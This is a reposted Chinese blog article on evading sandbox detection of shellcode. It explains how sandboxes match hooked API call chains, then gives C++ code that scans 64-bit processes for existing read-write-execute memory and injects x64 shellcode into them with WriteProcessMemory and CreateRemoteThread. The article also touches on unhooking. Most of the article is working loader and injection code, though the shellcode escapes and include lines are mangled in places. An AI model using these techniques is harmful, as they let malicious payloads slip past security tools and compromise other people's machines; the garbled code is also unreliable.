在某次实践中碰到一个沙箱,在不知道沙箱强度的情况下只能一点点去探索,程序通过调用ShellCode弹出计算器。丢到沙箱里面进行测试发现被沙箱检测到并且爆出了执行ShellCode的行为。了解过沙箱的朋友都知道,沙箱一般是通过Hook关键API得到调用信息返回给脚本去匹配规则。
unsigned char buf[] =#include <iostream>
#include <Windows.h>
“xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50”
“x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52”
“x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a”
“x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41”
“xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52”
“x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48”
“x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40”
“x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48”
“x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41”
“x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1”
“x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c”
“x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01”
“xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a”
“x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b”
“x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00”
“x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b”
“x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd”
“x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0”
“x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff”
“xd5x63x61x6cx63x2ex65x78x65x00”;
int main()
{
auto addr = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory((HANDLE)–1, addr, buf, sizeof(buf), NULL);
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
std::cin.get();
return 0;
}
在这个函数中我们执行ShellCode的调用了三个关键的函数VirtualAlloc,WriteProcessMemory,CreateThread而这三个函数是执行ShellCode或者注入常用的API,这里可以肯定的一点是已经被沙箱挂钩了。所以我们要绕过要不就是脱钩要不就是猜规则的写法找规则的漏洞。
...
if func("VirtualAlloc") == True:
if func("WriteProcessMemory") == True:
if func("CreateThread") == True:
print("执行了ShellCode")
...
func函数中检测钩子输出文件或者从内存信息获取到这个三个函数的触发顺序,现在触发了这条规则,就说明我们目前是在执行ShellCode,因此成为了报毒的一个关键点。
int main()#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
do
{
std::cout << processEntry.szExeFile << “tpid:” << processEntry.th32ProcessID << “n”;
} while (Process32Next(snapshot, &processEntry));
return 0;
}

int main()#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};
do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if (process)
{
BOOL isWow64 = FALSE;
if (IsWow64Process(process, &isWow64) && isWow64)
{
// 过滤掉32位进程
CloseHandle(process);
continue;
}
CloseHandle(process);
std::cout << processEntry.szExeFile << ” pid:” << processEntry.th32ProcessID << ” is 64-bit.” << “n”;
}
} while (Process32Next(snapshot, &processEntry));
return 0;
}
IsWow64Process(process, &isWow64) && isWow64
新加入的代码中使用IsWow64Process这个API去判断进程是否为64位,如果不是我们就进行下次一循环。如果是我们需要架构的进程我们就要进行下一步判断进程中是否有可读可写可执行的内存让我们去构造ShellCode。
int main()#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};
do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if (process)
{
BOOL isWow64 = FALSE;
if (IsWow64Process(process, &isWow64) && isWow64)
{
// 过滤掉32位进程
CloseHandle(process);
continue;
}
std::cout << processEntry.szExeFile << “tpid:” << processEntry.th32ProcessID << “n”;
while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{
if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout << “tRWX内存地址: 0x” << std::hex << mbi.BaseAddress << “n”;
}
offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
}
offset = 0;
CloseHandle(process);
}
} while (Process32Next(snapshot, &processEntry));
return 0;
}

unsigned char buf[] =#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
“xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50”
“x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52”
“x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a”
“x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41”
“xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52”
“x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48”
“x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40”
“x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48”
“x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41”
“x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1”
“x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c”
“x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01”
“xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a”
“x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b”
“x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00”
“x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b”
“x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd”
“x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0”
“x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff”
“xd5x63x61x6cx63x2ex65x78x65x00”;
int main()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};
bool isExecute = false;
do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if (process)
{
BOOL isWow64 = FALSE;
if (IsWow64Process(process, &isWow64) && isWow64)
{
// 过滤掉32位进程
CloseHandle(process);
continue;
}
while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{
if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout << processEntry.szExeFile << “tpid:” << processEntry.th32ProcessID << “t写入地址: 0x” << std::hex << mbi.BaseAddress << std::endl;
WriteProcessMemory(process, mbi.BaseAddress, buf, sizeof(buf), NULL);
CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
isExecute = true;
break;
}
offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
}
offset = 0;
CloseHandle(process);
if (isExecute)
{
break;
}
}
} while (Process32Next(snapshot, &processEntry));
return 0;
}
这里需要注意的是第一次获取到可用内存的时候就可以退出循环了,避免ShellCode多次执行。



In HANDLE hProcess,
In LPVOID lpBaseAddress,
In_reads_bytes(nSize) LPCVOID lpBuffer,
In SIZE_T nSize,
Out_opt SIZE_T* lpNumberOfBytesWritten);
第一个参数是要被写入数据的进程句柄,这里可以根据句柄去判断出写入的是哪个进程,在与当前挂钩的进程进行对比,从而判断出来是写入到其他进程还是当前进程,如果是其他进程就触发规则‘修改其他进程内存数据’。而这种我们也可以通过前面讲到绕过EDR脱钩来反沙箱钩子,不过这种方式只能绕过三环的钩子,如果是内核钩子我们就需要在0环对抗了。还有就是我们脱钩也是一种很常见的高危行为,常规脱钩大概率是会被直接检测出的。
注入规则的触发是WriteProcessMemory + CreateRemoteThread,如果单纯的去调用WriteProcessMemory触发的是执行远程函数这个规则,应该是针对这两个API去组建了一个新的规则。
转发:https://cn-sec.com/archives/1951206.html
转载请注明:jinglingshu的博客 » 免杀技术之优雅地绕过函数调用链